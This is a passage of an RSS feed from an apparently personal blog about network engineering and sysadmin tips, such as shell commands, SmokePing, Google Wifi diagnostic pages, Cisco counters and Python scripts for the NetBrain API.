      <description>&lt;p&gt;Given the full path:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;/usr/local/bin/foo&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Return the file name:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ basename /usr/local/bin/foo&#xA;foo&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Return the directory path:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ dirname /usr/local/bin/foo&#xA;/usr/local/bin&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Script to monitor home Internet service</title>
      <link>https://jasonmurray.org/posts/2020/monitorhomescript/</link>
      <pubDate>Fri, 31 Jul 2020 16:11:45 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/monitorhomescript/</guid>
      <description>&lt;p&gt;Over the past few weeks, there has been trouble with our home Internet service.  History proves customer service is better when you come to them with a detailed outage report.  I use a combination of SmokePing for historical graphs and a custom script that runs DNS lookups and ping checks every second.&lt;/p&gt;&#xA;&lt;p&gt;As part of the &amp;lsquo;script week&amp;rsquo; series, here is a simple &lt;code&gt;bash&lt;/code&gt; script to monitor home Internet service by performing a DNS lookup to Google servers.  If that fails, it starts a timer and then checks to see if the immediate gateway router is available.   This helps me determine if the issue is local to my area or something deeper in the cable providers network.   I log all this information to a file which is easily referenced when calling for support.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using vi to remove ^M characters in a text file</title>
      <link>https://jasonmurray.org/posts/2020/removectrlm/</link>
      <pubDate>Thu, 30 Jul 2020 15:09:23 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/removectrlm/</guid>
      <description>&lt;p&gt;A text file that contains &lt;code&gt;^M&lt;/code&gt; characters was probably created on a DOS or Windows system and then opened on a Unix system.   &lt;code&gt;^M&lt;/code&gt; is the DOS / Windows character for carriage-return, otherwise known as the end of a line in the text file.&lt;/p&gt;&#xA;&lt;p&gt;To remove the characters, open the text file in &lt;code&gt;vi&lt;/code&gt;.  While in command mode type:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;:% s/^M//g&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note: You may have to type: &lt;code&gt;&amp;lt;ctrl-v&amp;gt;&amp;lt;ctrl-m&amp;gt;&lt;/code&gt; to create the &lt;code&gt;^M&lt;/code&gt; character.  It is not a &lt;code&gt;^&lt;/code&gt; and &lt;code&gt;M&lt;/code&gt;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Creating a mock API endpoint for testing</title>
      <link>https://jasonmurray.org/posts/2020/mockapi/</link>
      <pubDate>Wed, 29 Jul 2020 11:05:01 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/mockapi/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://www.netbraintech.com/&#34;&gt;NetBrain&lt;/a&gt; is a tool we use at work for CMDB, documentation, and network troubleshooting.  NetBrain exposes an &lt;a href=&#34;https://github.com/NetBrainAPI&#34;&gt;API&lt;/a&gt; which gives tools like &lt;a href=&#34;https://github.com/nornir-automation/nornir&#34;&gt;Nornir&lt;/a&gt; access to dynamically generated inventory and group objects.   However the modules, don&amp;rsquo;t exist yet; &lt;a href=&#34;https://nornir.readthedocs.io/en/latest/howto/writing_a_custom_inventory_plugin.html&#34;&gt;I am writing one&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The issue is the NetBrain system sits on an access restricted network in our remote data center, and I want to write code at home without being on VPN.  By using Python and Flask, I was able to write a mock NetBrain API, that simulates connecting to the remote server.  This approach has the added benefit of not using any resources on the production server while I work on the code and perform debugging.&lt;/p&gt;</description>
    </item>
    <item>
      <title>vsCode keyboard shortcut to run Python in the terminal</title>
      <link>https://jasonmurray.org/posts/2020/vscodeplay/</link>
      <pubDate>Tue, 28 Jul 2020 13:39:52 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/vscodeplay/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t like moving my fingers off the keyboard.  No mouse, no arrow keys, no track pad.  Productive use of time dictates finger should not move far from the home-row keys.  This is why I &lt;a href=&#34;https://jasonmurray.org/posts/2020/vscodevim/&#34;&gt;enabled&lt;/a&gt; the &lt;a href=&#34;https://marketplace.visualstudio.com/items?itemName=vscodevim.vim&#34;&gt;vim extension&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To run a Python script within a terminal in vsCode you have to click the play button in the upper right corner of the screen:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/vscodeplaybutton.png&#34; alt=&#34;vscode&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Remember rule #1, I don&amp;rsquo;t want to move my fingers off the keyboard and the play button is too far away&amp;hellip;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Easy to configure network latency graphs with SmokePing</title>
      <link>https://jasonmurray.org/posts/2020/smokeping/</link>
      <pubDate>Mon, 27 Jul 2020 07:14:14 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/smokeping/</guid>
      <description>&lt;p&gt;When all you need is a simple network latency graphing tool, take a look at &lt;a href=&#34;https://oss.oetiker.ch/smokeping/&#34;&gt;SmokePing&lt;/a&gt;.  There are many open-source and free tools, but they tend to be overly complex and difficult to configure for small projects or simple graphing needs.&lt;/p&gt;&#xA;&lt;p&gt;SmokePing is light-weight and comes preloaded with probes to graph http, dns, ssh, ping, tcp ports, and &lt;a href=&#34;https://oss.oetiker.ch/smokeping/probe/index.en.html&#34;&gt;more&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I run SmokePing for both work and personal projects.   At work we use it to graph latency between different sites and data centers.  At 60 second intervals and 365 days of historical records, it is an excellent tool for trending or troubleshooting user issues.  At home I use it to graph Internet response times to popular websites and their DNS servers.   This information is used to validate my ISP works as expected and helps to correlate outages if there are problems.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Google Wifi diagnostic menus</title>
      <link>https://jasonmurray.org/posts/2020/googlewifidiag/</link>
      <pubDate>Sun, 26 Jul 2020 13:09:02 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/googlewifidiag/</guid>
      <description>&lt;p&gt;Diagnostic pages for the Google Wifi home router:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/&#34;&gt;http://onhub.here/&lt;/a&gt; - Basic system status (online / offline).  Open the Google Wifi app to access more information.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://on.here&#34;&gt;http://on.here&lt;/a&gt; - Check all of the devices that are available on the guest network. For example, guests who are using the Wifi network, can control Philips Hue lights directly with On.Here without needing a separate app.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/diagnostic-report&#34;&gt;http://onhub.here/api/v1/diagnostic-report&lt;/a&gt; - Generate and download a detailed diagnostic report.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/welcome-mat&#34;&gt;http://onhub.here/api/v1/welcome-mat&lt;/a&gt; - Information about the guest network.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/status&#34;&gt;http://onhub.here/api/v1/status&lt;/a&gt; - Software version, systems hardware ID, WAN settings, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/connected-devices&#34;&gt;http://onhub.here/api/v1/connected-devices&lt;/a&gt; - Hue bridge information.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/get-attestation-information&#34;&gt;http://onhub.here/api/v1/get-attestation-information&lt;/a&gt; - No longer returns anything.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/get-endorsement-information&#34;&gt;http://onhub.here/api/v1/get-endorsement-information&lt;/a&gt; - No longer returns anything.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/get-group-configuration&#34;&gt;http://onhub.here/api/v1/get-group-configuration&lt;/a&gt; - Google Wifi group id.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/get-shmac?ip=insertClientIP&#34;&gt;http://onhub.here/api/v1/get-shmac?ip=insertClientIP&lt;/a&gt; - Device ID for a given IP.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/wan-configuration&#34;&gt;http://onhub.here/api/v1/wan-configuration&lt;/a&gt; - WAN configuration.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;http://onhub.here/api/v1/developer-configuration&#34;&gt;http://onhub.here/api/v1/developer-configuration&lt;/a&gt; - Update URL and channel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;These domains can be used to access the local pages:&lt;/p&gt;</description>
    </item>
    <item>
      <title>grep for a process without grep returning grep</title>
      <link>https://jasonmurray.org/posts/2020/grepwithoutgrep/</link>
      <pubDate>Sat, 25 Jul 2020 14:37:14 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/grepwithoutgrep/</guid>
      <description>&lt;p&gt;Searching for a process with &lt;code&gt;grep&lt;/code&gt;, in addition to the search term, the output also includes the &lt;code&gt;grep&lt;/code&gt; statement itself:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ ps -ef | grep bgp&#xA;jemurray  8054 23273  0 19:38 pts/7    00:00:00 grep bgp&#xA;jemurray 25310 14989  0 Jul22 pts/2    00:28:29 ./bgpalerter-linux-x64&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By putting one of the search term characters between &lt;code&gt;[]&lt;/code&gt;&amp;rsquo;s, &lt;code&gt;grep&lt;/code&gt; is no longer returned in the results:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@shell:~$ ps -ef | grep [b]gp&#xA;jemurray 25310 14989  0 Jul22 pts/2    00:28:29 ./bgpalerter-linux-x64&#xA;&lt;/code&gt;&lt;/pre&gt;</description>
    </item>
    <item>
      <title>Netmiko, Napalm, Nornir supported devices</title>
      <link>https://jasonmurray.org/posts/2020/devicetypes/</link>
      <pubDate>Fri, 24 Jul 2020 12:30:49 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/devicetypes/</guid>
      <description>&lt;p&gt;Netmiko, Napalm, and Nornir all use drivers or connection handlers for establishing remote connectivity to networking devices.  The keywords needed to enable remote sessions was not obvious to find.  Here is a consolidated list of connection keyword types necessary to load the proper modules.&lt;/p&gt;&#xA;&lt;p&gt;Each framework is a little different.  Netmiko for example uses connection handlers, Napalm uses drivers, and Nornir uses a combination of Netmiko or Napalm depending on which function is selected.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Raspberry PI as a remote serial console</title>
      <link>https://jasonmurray.org/posts/2020/raspconsole/</link>
      <pubDate>Thu, 23 Jul 2020 12:45:10 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/raspconsole/</guid>
      <description>&lt;p&gt;Build a multi-port remote serial console for under $100 with a Raspberry PI and a few USB serial cables:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/raspberrypiserialconsole.jpg&#34; alt=&#34;piserial&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Parts:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Raspberry PI&lt;/li&gt;&#xA;&lt;li&gt;USB power supply&lt;/li&gt;&#xA;&lt;li&gt;USB serial cables&lt;/li&gt;&#xA;&lt;li&gt;Devices that require a serial console&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Download and install the Raspberry PI OS following these instructions: &lt;a href=&#34;https://www.raspberrypi.org/downloads/raspberry-pi-os/&#34;&gt;https://www.raspberrypi.org/downloads/raspberry-pi-os/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using a keyboard and monitor, log in with the &lt;code&gt;pi&lt;/code&gt; username and change the password:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;pi@raspberrypi:~ $ passwd&#xA;Changing password for pi.&#xA;Current password:&#xA;New password:&#xA;Retype new password:&#xA;Password changed&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Enable remote &lt;code&gt;ssh&lt;/code&gt; access:&lt;/p&gt;</description>
    </item>
    <item>
      <title>CLI based subnet calculator</title>
      <link>https://jasonmurray.org/posts/2020/sipcalc/</link>
      <pubDate>Wed, 22 Jul 2020 12:18:02 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/sipcalc/</guid>
      <description>&lt;p&gt;My favorite subnet calculator is the terminal based command &lt;a href=&#34;http://www.routemeister.net/projects/sipcalc/index.html&#34;&gt;sipcalc&lt;/a&gt;.   While it is no longer under active development, it has every feature a network engineer could need.&lt;/p&gt;&#xA;&lt;p&gt;Features (IPv4)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Multiple address and netmask input formats.&lt;/li&gt;&#xA;&lt;li&gt;Retrieving of address information from interfaces.&lt;/li&gt;&#xA;&lt;li&gt;Classfull and CIDR output.&lt;/li&gt;&#xA;&lt;li&gt;Multiple address and netmask output formats (dotted quad, hex, number of bits).&lt;/li&gt;&#xA;&lt;li&gt;Output of broadcast address, network class, Cisco wildcard, hosts/range, network range.&lt;/li&gt;&#xA;&lt;li&gt;Output of multiple types of bitmaps.&lt;/li&gt;&#xA;&lt;li&gt;Output of a user-defined number of extra networks.&lt;/li&gt;&#xA;&lt;li&gt;Multiple networks input from commandline.&lt;/li&gt;&#xA;&lt;li&gt;DNS resolutions of hostnames.&lt;/li&gt;&#xA;&lt;li&gt;Parsing of a newline separated list of networks from standard input (STDIN).&lt;/li&gt;&#xA;&lt;li&gt;The ability to &amp;ldquo;split&amp;rdquo; a network based on a smaller netmask, also with recursive runs on the gener.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Features (IPv6)&lt;/p&gt;</description>
    </item>
    <item>
      <title>Mouse mode with tmux in iTerm2</title>
      <link>https://jasonmurray.org/posts/2020/tmuxdebian/</link>
      <pubDate>Tue, 21 Jul 2020 12:50:03 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/tmuxdebian/</guid>
      <description>&lt;p&gt;I was troubleshooting an issue where &lt;code&gt;mouse mode&lt;/code&gt; stopped working while using iTerm2 on macOS.  The iTerm2 option &lt;code&gt;mouse reporting&lt;/code&gt; must be enabled for &lt;code&gt;mouse mode&lt;/code&gt; to function properly:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/enablemousereporting.png&#34; alt=&#34;mouse reporting&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next validate, &lt;code&gt;mouse mode&lt;/code&gt; is configured in the &lt;code&gt;~/.tmux.conf&lt;/code&gt; file, with the following command:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;set -g mouse on&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Verify &lt;code&gt;mouse mode&lt;/code&gt; is working by starting &lt;code&gt;tmux&lt;/code&gt; and running: &lt;code&gt;CTRL+B :show -g&lt;/code&gt;, the following option should appear in the output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;...&#xA;mouse on&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Select some text or scroll back while in &lt;code&gt;tmux&lt;/code&gt;.  The scroll back buffer in the top right should appear and highlighted text will be yellow:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Syntax highlighting in Hugo</title>
      <link>https://jasonmurray.org/posts/2020/hugosyntaxhighlight/</link>
      <pubDate>Mon, 20 Jul 2020 11:14:31 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/hugosyntaxhighlight/</guid>
      <description>&lt;p&gt;The back-ticks ` or ``` are used to keep original text formatting within Hugo rendered pages.&lt;/p&gt;&#xA;&lt;p&gt;Example 1, single back-tick:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;A single back-tick at the start and end of the line&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Example 2, triple back-tick:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Three back-ticks above and three back-ticks below this line&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using back-ticks for code keeps the formatting, but the output is not pretty or easy to read:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;def fix_hostname(hostname):&#xA;    hostname = re.sub(r&amp;#39;[\\/:&amp;#34;*?&amp;lt;&amp;gt;|]+&amp;#39;, &amp;#34;-&amp;#34;, hostname)&#xA;    hostname = hostname.lower()&#xA;    return hostname&#xA;&#xA;hostname = fix_hostname(device[&amp;#34;name&amp;#34;])&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In Hugo, the &lt;a href=&#34;https://gohugo.io/content-management/syntax-highlighting/#highlight-shortcode&#34;&gt;highlight short-code&lt;/a&gt; is used for syntax highlighting.  Wrap the code with the following lines:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Cisco 16.x reports drops in bytes not packets</title>
      <link>https://jasonmurray.org/posts/2020/ciscobytedrop/</link>
      <pubDate>Sun, 19 Jul 2020 10:00:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ciscobytedrop/</guid>
      <description>&lt;p&gt;Most network devices report interface drops in packets.  At some point Cisco switches running the 16.x code started reporting drops in bytes.  Reporting in bytes dramatically inflates the drop counters which makes detecting congestion issues more difficult.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example of the Discard counters reporting in bytes:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;cisco-3850# show interfaces counters errors&#xA;&#xA;Port        Align-Err     FCS-Err    Xmit-Err     Rcv-Err  UnderSize  OutDiscards&#xA;Te1/0/1             0           0           0           1          0            0&#xA;Te1/0/2             0           0           0           0          0            0&#xA;Te1/0/3             0           0           0           0          0   7569381402&#xA;Te1/0/4             0           0           0           0          0  32180592642&#xA;Te1/0/5             0           0           0           0          0            0&#xA;Te1/0/6             0           0           0           0          0    705662223&#xA;Te1/0/7             0           0           0           0          0            0&#xA;Te1/0/8             0           0           0           0          0            0&#xA;Te1/0/9             0           0           0           0          0            0&#xA;Te1/0/10            0           0           0           0          0            0&#xA;Te1/0/11            0           0           0           0          0            0&#xA;Te1/0/12            0           0           0           0          0            0&#xA;Te1/0/13            0           0           0           0          0            0&#xA;Te1/0/14            0           0           0           0          0            0&#xA;Te1/0/15            0           0           0           0          0            0&#xA;Te1/0/16            0           0           0           0          0            0&#xA;Te1/0/17            0           0           0           0          0            0&#xA;Te1/0/18            0           0           0           0          0            0&#xA;Te1/0/19            0           0           0           0          0            0&#xA;Te1/0/20            0           0           0           0          0            0&#xA;Te1/0/21            0           0           0           0          0            0&#xA;Te1/0/22            0           0           0           0          0            0&#xA;Te1/0/23            0           0           0           0          0            0&#xA;Te1/0/24            0           0           0           0          0    847069411&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Adding this configuration statement to the switch will change reporting from bytes to packets:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Removing unsafe characters with Python and regex</title>
      <link>https://jasonmurray.org/posts/2020/fixhostnamespython/</link>
      <pubDate>Sat, 18 Jul 2020 18:03:25 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/fixhostnamespython/</guid>
      <description>&lt;p&gt;While working on a program which uses data from an internal CMDB to build &lt;code&gt;ssh&lt;/code&gt; &lt;a href=&#34;https://jasonmurray.org/posts/2020/bashfunctions/&#34;&gt;aliases&lt;/a&gt;, I ran into a problem.  Some of the devices have special characters in the hostname, for example:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;DEBUG pre-fix: wcm-449-wu-fw-0/stby&#xA;DEBUG pre-fix: wcm-449-wu-fw-0/act&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To remove the unsafe characters, the &lt;code&gt;hostname&lt;/code&gt; variable is passed to a &lt;code&gt;cleaning&lt;/code&gt; function each time it is set:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&#xA;&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;1&#xA;&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;2&#xA;&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;3&#xA;&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;4&#xA;&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;5&#xA;&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;6&#xA;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#xA;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fix_hostname&lt;/span&gt;(hostname):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hostname &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; re&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sub(&lt;span style=&#34;color:#e6db74&#34;&gt;r&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;[&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\\&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;/:&amp;#34;*?&amp;lt;&amp;gt;|]+&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;-&amp;#34;&lt;/span&gt;, hostname)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    hostname &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; hostname&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;lower()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; hostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; fix_hostname(device[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;The unsafe characters are converted to &lt;code&gt;-&lt;/code&gt;:&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to test if a JSON key exists with Python</title>
      <link>https://jasonmurray.org/posts/2020/pythonkeysearch/</link>
      <pubDate>Fri, 17 Jul 2020 09:36:07 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/pythonkeysearch/</guid>
      <description>&lt;p&gt;Using an &lt;code&gt;if&lt;/code&gt; statement to test if a JSON key exists in Python results in the following error:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &amp;#34;/Users/jemurray/Documents/src/personalPython/jsontest.py&amp;#34;, line 56, in &amp;lt;module&amp;gt;&#xA;    if i[&amp;#34;keyDoesNotExist&amp;#34;]:&#xA;KeyError: &amp;#39;keyDoesNotExist&amp;#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Instead, use the &lt;code&gt;in&lt;/code&gt; statement to test if the JSON key exists:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Looking for a JSON key using the `in` statement&#xA;if &amp;#34;keyDoesNotExist&amp;#34; not in i:&#xA;    print(&amp;#34;Key not found, no errors&amp;#34;)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here is an example using &lt;code&gt;if&lt;/code&gt; and &lt;code&gt;in&lt;/code&gt; statements and the output they return:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Python Script to dump all devices from NetBrain</title>
      <link>https://jasonmurray.org/posts/2020/netbraindumpdevices/</link>
      <pubDate>Thu, 16 Jul 2020 09:17:00 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/netbraindumpdevices/</guid>
      <description>&lt;p&gt;The NetBrain API requires a few steps before getting at the data:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/NetBrainAPI/NetBrain-REST-API-V8.01/blob/master/REST%20APIs%20Documentation/Authentication%20and%20Authorization/Login%20API.md&#34;&gt;Login&lt;/a&gt; and retrieve the token for API calls&lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;a href=&#34;https://github.com/NetBrainAPI/NetBrain-REST-API-V8.01/blob/master/REST%20APIs%20Documentation/Authentication%20and%20Authorization/Specify%20A%20Working%20Domain%20API.md&#34;&gt;domain and tenant&lt;/a&gt; where the data is stored&lt;/li&gt;&#xA;&lt;li&gt;Make the API calls to do work&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/NetBrainAPI/NetBrain-REST-API-V8.01/blob/master/REST%20APIs%20Documentation/Authentication%20and%20Authorization/Logout%20API.md&#34;&gt;Logout&lt;/a&gt; so you don&amp;rsquo;t take up login sessions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://github.com/NetBrainAPI/NetBrain-REST-API-V8.01/blob/master/REST%20APIs%20Documentation/Devices%20Management/Get%20Device%20API%20Version_1.md&#34;&gt;&lt;code&gt;CMDB/Devices&lt;/code&gt;&lt;/a&gt; API call only returns &lt;a href=&#34;https://github.com/NetBrainAPI/NetBrain-REST-API-V8.01/blob/master/REST%20APIs%20Documentation/Devices%20Management/Get%20Device%20API%20Version_1.md#query-parameters-required&#34;&gt;100&lt;/a&gt; devices at a time.  There is logic in this script to deal with that shortcoming.&lt;/p&gt;&#xA;&lt;p&gt;All of the output is for debugging purposes only.  They key takeaways from this post is to show the login / logout methods and how to dump a CMDB that has more then 100 entries in it.&lt;/p&gt;</description>
    </item>
    <item>
      <title>How to check iCloud Drive file transfer status on macOS</title>
      <link>https://jasonmurray.org/posts/2020/icloudtransferstatus/</link>
      <pubDate>Wed, 15 Jul 2020 14:59:56 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/icloudtransferstatus/</guid>
      <description>&lt;p&gt;iCloud Drive is used to synchronize files across iDevice systems. However, it is not obvious what the status of the file synchronization is.  Third-party cloud vendors such as Box, Dropbox, and Google Drive all have an icon in the menu bar which displays the sync status.&lt;/p&gt;&#xA;&lt;p&gt;With iCloud Drive you need to open finder and enable the Status Bar. By default there is no iCloud drive synchronization indicator:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/findernoicloudstatus.png&#34; alt=&#34;finder&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To enable iCloud synchronization status in the finder window, select View -&amp;gt; Show Status Bar&lt;/p&gt;</description>
    </item>
    <item>
      <title>Finding configuration lines on Cisco hardware with Python</title>
      <link>https://jasonmurray.org/posts/2020/pythonfindframe/</link>
      <pubDate>Tue, 14 Jul 2020 10:13:14 -0500</pubDate>
      <guid>https://jasonmurray.org/posts/2020/pythonfindframe/</guid>
